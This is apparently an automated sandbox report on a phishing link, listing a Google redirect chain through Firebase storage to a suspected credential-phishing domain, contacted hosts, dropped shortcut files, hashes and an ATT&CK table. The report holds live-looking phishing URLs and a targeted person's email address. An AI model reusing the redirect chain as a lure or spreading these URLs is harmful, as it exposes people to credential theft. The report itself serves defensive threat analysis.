Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: unknown	HTTPS traffic detected: 23.207.53.201:443 -> 192.168.2.16:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.207.53.201:443 -> 192.168.2.16:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.16:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.16:49739 version: TLS 1.2

Source: classification engine

Classification label: mal52.phis.win@19/26@16/9

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.google.com.np/amp/s/www.google.com%2Furl%3Fsa%3DD%26q%3Dhttps%3A%2F%2Ffirebasestorage.googleapis.com%2Fv0%2Fb%2Fmy-awesome-project-id-35889.appspot.com%2Fo%2Fsos.html%253Falt%253Dmedia%2526token%253D8c2f5cb7-624d-469a-a987-a3c9e3bcaf1c%26ust%3D1714080900000000%26usg%3DAOvVaw34yUu7IQGPgWBmXhCFwzfl%26hl%3Den%26source%3Dgmail#Z2xlbm5Ab2JzaWRpYW5zZWN1cml0eS5jb20=
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 --field-trial-handle=1976,i,11092379533152841494,16157338052341139847,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 --field-trial-handle=1976,i,11092379533152841494,16157338052341139847,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://www.google.com.np/amp/s/www.google.com%2Furl%3Fsa%3DD%26q%3Dhttps%3A%2F%2Ffirebasestorage.googleapis.com%2Fv0%2Fb%2Fmy-awesome-project-id-35889.appspot.com%2Fo%2Fsos.html%253Falt%253Dmedia%2526token%253D8c2f5cb7-624d-469a-a987-a3c9e3bcaf1c%26ust%3D1714080900000000%26usg%3DAOvVaw34yUu7IQGPgWBmXhCFwzfl%26hl%3Den%26source%3Dgmail#Z2xlbm5Ab2JzaWRpYW5zZWN1cml0eS5jb20=	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://gututa.ureilect.com/1MZ153uW/	0%	Avira URL Cloud	safe
https://gututa.ureilect.com/favicon.ico	0%	Avira URL Cloud	safe
https://gututa.ureilect.com/1MZ153uW/#M	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
code.jquery.com	151.101.2.137	true	false	high
challenges.cloudflare.com	104.17.2.184	true	false	high
www.google.com	74.125.136.106	true	false	high
gututa.ureilect.com	104.21.57.92	true	false	unknown
www.google.com.np	142.250.105.94	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/7m7v1/0x4AAAAAAAWuxZbeQelI4Wvo/auto/normal	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/197470931:1713997520:DaXxhv4ov71QJcajASKntCSPo-IrKnIIVexevO593E0/8799a58bde211351/67971d35eb53136	false		high
https://a.nel.cloudflare.com/report/v4?s=u0a%2Bq4xND1FN0C9MHUxIB4ToKwF3RsCwI5sNHm27yuhm%2B7kLYTX8dyrji0aVuCc7R3CwX1lqYiz41FqlIUWreZMSMikW6%2BvN24SL9eo%2BxaOVe0pQaN2zDueLsR6Vlw%3D%3D	false		high
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/8799a58bde211351/1713998969158/3daf6e0b959aac451d968150be314b24d5b0e2325e9d5285c76b38b9b323c647/5B6wV5VHgVesIP7	false		high
https://gututa.ureilect.com/1MZ153uW/	false	Avira URL Cloud: safe	unknown
https://gututa.ureilect.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8799a58bde211351/1713998969163/qq3KK3QMjPGdJp_	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8799a58bde211351	false		high
https://gututa.ureilect.com/1MZ153uW/#Mglenn@obsidiansecurity.com	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.cloudflare.com/5xx-error-landing/	chromecache_67.1.dr	false		high
https://gututa.ureilect.com/1MZ153uW/#M	chromecache_67.1.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.105.94	www.google.com.np	United States	15169	GOOGLEUS	false
74.125.136.106	www.google.com	United States	15169	GOOGLEUS	false
104.21.57.92	gututa.ureilect.com	United States	13335	CLOUDFLARENETUS	false
104.17.3.184	unknown	United States	13335	CLOUDFLARENETUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.17.2.184	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1431387
Start date and time:	2024-04-25 00:48:52 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://www.google.com.np/amp/s/www.google.com%2Furl%3Fsa%3DD%26q%3Dhttps%3A%2F%2Ffirebasestorage.googleapis.com%2Fv0%2Fb%2Fmy-awesome-project-id-35889.appspot.com%2Fo%2Fsos.html%253Falt%253Dmedia%2526token%253D8c2f5cb7-624d-469a-a987-a3c9e3bcaf1c%26ust%3D1714080900000000%26usg%3DAOvVaw34yUu7IQGPgWBmXhCFwzfl%26hl%3Den%26source%3Dgmail#Z2xlbm5Ab2JzaWRpYW5zZWN1cml0eS5jb20=
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal52.phis.win@19/26@16/9
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.215.94, 142.250.105.101, 142.250.105.138, 142.250.105.100, 142.250.105.139, 142.250.105.102, 142.250.105.113, 142.250.9.84, 34.104.35.123, 172.217.215.95, 142.251.15.95, 64.233.185.95, 64.233.176.95, 172.253.124.95, 64.233.177.95, 74.125.138.95, 74.125.136.95, 142.250.105.95, 108.177.122.95, 142.250.9.95, 173.194.219.95, 64.233.176.94, 172.253.124.101, 172.253.124.139, 172.253.124.113, 172.253.124.102, 172.253.124.138, 172.253.124.100
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
VT rate limit hit for: https://www.google.com.np/amp/s/www.google.com%2Furl%3Fsa%3DD%26q%3Dhttps%3A%2F%2Ffirebasestorage.googleapis.com%2Fv0%2Fb%2Fmy-awesome-project-id-35889.appspot.com%2Fo%2Fsos.html%253Falt%253Dmedia%2526token%253D8c2f5cb7-624d-469a-a987-a3c9e3bcaf1c%26ust%3D1714080900000000%26usg%3DAOvVaw34yUu7IQGPgWBmXhCFwzfl%26hl%3Den%26source%3Dgmail#Z2xlbm5Ab2JzaWRpYW5zZWN1cml0eS5jb20=

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Apr 24 21:49:24 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.989193937204284
Encrypted:	false
SSDEEP:	48:80WdROTxKuRgHaidAKZdA1FehwiZUklqehgy+3:8qf13y
MD5:	63776F2CF735F012566C829562CFC982
SHA1:	7965D83422632CCF753470D1E86A2E7BCB4B7149
SHA-256:	8FA98D3E6B94ADECA55FE8FA9E4EE53FF1789E9C40A334F6CA9A209F4EDD1147
SHA-512:	1E735E7E88C3FBA124E11CA3FC0B202278274D05532A341CCD6350FE0F41A4A7C6E6DCD3A3956D8CAFD13FD53659F207DDCD92D6DD2AE28ECE050692FAC22B9A
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......d.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X#.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X+.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X+.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X+............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X-............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........H+d......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Apr 24 21:49:24 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.004304125610757
Encrypted:	false
SSDEEP:	48:8hWdROTxKuRgHaidAKZdA1seh/iZUkAQkqehny+2:8Dfr9QKy
MD5:	8BD18E7E270AF71BEFCEA80322EEB233
SHA1:	1D5CD8FD922E6B8309D5B86CFC055E935598E1BC
SHA-256:	7D2E02C799FAC0D23CE6BC30DA16F4F0C128AD16D6F53AAAA1749D32D8DCB627
SHA-512:	DAD42882BAA35820B61E3F44A5510C92E2BE9D1A2C54A8434138C334464E6BD1DBF8980AE827DE32276B5E5D74BE5830916A886859E42BAFCB3771F49AE45AB2
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....a.Z.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X#.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X+.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X+.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X+............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X-............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........H+d......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.010529948553806
Encrypted:	false
SSDEEP:	48:82WdROTxKuRAHaidAKZdA14meh7sFiZUkmgqeh7sBy+BX:8Mffnzy
MD5:	213AC4EBBE8CA00B59E8C8AAE83D1598
SHA1:	87CCA5C8ADD921E0CCBC476B286B07A9899DA295
SHA-256:	7AC095F0AF03BB4AB28890E41B4201E5126A07674145B1A3DEE0CF5FBC2CDEC8
SHA-512:	98CFA592E55648EED0197A5D1A1E3F9C421E1D9F2CFDFDA37FE5E3BD84F0FB253B96CAD29E01CA4473F070EA1195940B4F658426B080F16B932147AC1631E64A
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X#.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X+.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X+.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X+............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........H+d......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Apr 24 21:49:24 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	4.002031409662251
Encrypted:	false
SSDEEP:	48:8H3WdROTxKuRgHaidAKZdA1TehDiZUkwqehby+R:8HZf4py
MD5:	B800A04F585779B7C2B4A59DA1A3CB4D
SHA1:	3B7D47DC11E3C8DF9EC114F67545DFF0FBDE26C2
SHA-256:	94D531B91A010911F43F1748A8D4FF01C0262C181FABDAF2F41F4575138B842F
SHA-512:	AF7939FABB2858D747286529A9C14D40C6EBC425510D26D2E01C6F802A1FBED1E3792DCAECB58C16FF1D67262690750338DC9B0A7AEAA1D3D6A489FF17E9F25C
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....dT.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X#.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X+.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X+.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X+............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X-............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........H+d......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Apr 24 21:49:24 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.991641248960302
Encrypted:	false
SSDEEP:	48:8zWdROTxKuRgHaidAKZdA1dehBiZUk1W1qehty+C:8NfI9Ny
MD5:	4C11F454D71B82DB712C0116830C3E1D
SHA1:	8D66AA1650B06412205C124832650D59C22A66BB
SHA-256:	6A8AB08DD064AAF1889DBEBD82EB7F0AC4ACE115FEE843345D4089C9C2F7CDD8
SHA-512:	7158E665F1F13210CCFEEB386CF9766CD0E3259AA9323F4CD6F56745255A6C87712BCBCACAD66928FC2F5AA85A849878C7DEFBB8931FFBB961601710433DCC1F
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......_.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X#.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X+.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X+.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X+............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X-............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........H+d......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Apr 24 21:49:24 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.000375784250374
Encrypted:	false
SSDEEP:	48:8LWdROTxKuRgHaidAKZdA1duTeehOuTbbiZUk5OjqehOuTbzy+yT+:8Vf6TfTbxWOvTbzy7T
MD5:	A3FB16371ABE9A6F7CF47CC8AD3A2CE5
SHA1:	5BA82DEBC643111C152C01C26D49BE857008591A
SHA-256:	12C9FE47B22C505ADC1410B1FE8288F510DC37C762D120621965FE4690C9E70A
SHA-512:	C4AAD67CC7599ED6AA7F7B86E5BE90759318EA6ED0685E87A04CF62565161CCDE9F4C5A9EC6C29EA3B66E5F056642BCC039901141B5CB1A4447A503335FC010F
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......J.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X#.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X+.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X+.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X+............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X-............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........H+d......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 62

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1136)
Category:	downloaded
Size (bytes):	1630
Entropy (8bit):	5.28413475606188
Encrypted:	false
SSDEEP:	24:hY6svD+6zSU6pedQf3Zvcn1BZdAe1nCr1LTHI5z8xG/H+S8f:3qD+2+pUAew85zsUNA
MD5:	5C33ADB807F4C2048D3DEB6A23B03D1B
SHA1:	4F72BEDC0A69779D3DA0C3692499B4046F11E814
SHA-256:	02A932927308EAF415649E4788B460C3308B3085038BE19581460CDD8C406D8F
SHA-512:	68F7B904DFD73C1767E51DC583614ABCAB467F65A21982C544E0841F954CAA39DE8410079591CCA48F1BF778B4623AAFBCE1CA1F9A6E7642D7B0A898E265D948
Malicious:	false
Reputation:	low
URL:	https://firebasestorage.googleapis.com/cdn-cgi/images/trace/jschal/nojs/transparent.gif?ray=6a262fe50874400d
